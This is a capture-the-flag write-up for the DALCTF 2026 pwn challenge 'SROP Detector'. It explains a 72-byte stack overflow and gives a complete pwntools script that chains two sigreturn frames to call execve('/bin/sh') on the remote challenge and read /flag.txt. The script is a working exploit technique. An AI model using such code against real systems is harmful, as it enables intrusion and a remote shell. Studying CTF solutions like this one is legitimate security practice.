Skip to content

dalctf 2026

SROP Detector

Pwn challenge from DALCTF 2026.

Challenge Description:

My friend Cebolinha send me this file called SROP detector. He always mispronounce "l" as "r" so I think this probably detects AI stuff

the bug

The corrupted ELF dumps directly into a buffer overflow inside a read_input function. It reads 0x200 bytes into a 0x40 stack buffer. I threw a cyclic pattern at it and found the crash offset is exactly 72 bytes.

the plan

Since it's called SROP Detector, the path is obvious. We have a syscall stub at 0x401120 and a pop rdi; ret gadget at 0x401311. Glibc's syscall@plt wrapper executes mov rax, rdi right before the syscall instruction. So, if we pop 15 into rdi, rax becomes 15, and we trigger rt_sigreturn.

I chained two SROP frames. The first frame calls sys_read(0, 0x404800, 512) to write a second payload into .bss and pivots the stack pointer (rsp) there. The second frame just executes sys_execve("/bin/sh", 0, 0).

the exploit

exploit.py

import pwn

pwn.context.arch = 'amd64'
io = pwn.remote("instancer.dalctf2026.com", 28657)
io.recvuntil(b"sentence: ")

pop_rdi = 0x401311
syscall_plt = 0x401120
bss = 0x404800

# 1. Read into .bss and pivot rsp
frame1 = pwn.SigreturnFrame()
frame1.rip = syscall_plt
frame1.rdi = 0
frame1.rsi = 0
frame1.rdx = bss
frame1.rcx = 512
frame1.rsp = bss

payload = b"A"*72
payload += pwn.p64(pop_rdi)
payload += pwn.p64(15)
payload += pwn.p64(syscall_plt)
payload += bytes(frame1)

io.send(payload)
pwn.time.sleep(0.5)

# 2. Pop shell
frame2 = pwn.SigreturnFrame()
frame2.rip = syscall_plt
frame2.rdi = 59
frame2.rsi = bss + 0x120
frame2.rdx = 0
frame2.rcx = 0
frame2.rsp = bss + 0x200

payload2 = b""
payload2 += pwn.p64(pop_rdi)
payload2 += pwn.p64(15)
payload2 += pwn.p64(syscall_plt)
payload2 += bytes(frame2)
payload2 = payload2.ljust(0x120, b"\x00")
payload2 += b"/bin/sh\x00"

io.send(payload2)
io.sendline(b"cat /flag.txt")
print(io.recvall(timeout=3).decode())

run

terminal

[x] Opening connection to instancer.dalctf2026.com on port 28657
[+] Opening connection to instancer.dalctf2026.com on port 28657: Done
[x] Receiving all data
[+] Receiving all data: Done (38B)
[*] Closed connection to instancer.dalctf2026.com port 28657
dalctf{1_r34lly_h0p3_u_d1dnt_sl0p_1t}

Flag

dalctf{1_r34lly_h0p3_u_d1dnt_sl0p_1t}

Discussion

Loading discussion…

Related solves

Keep reading

Complete archive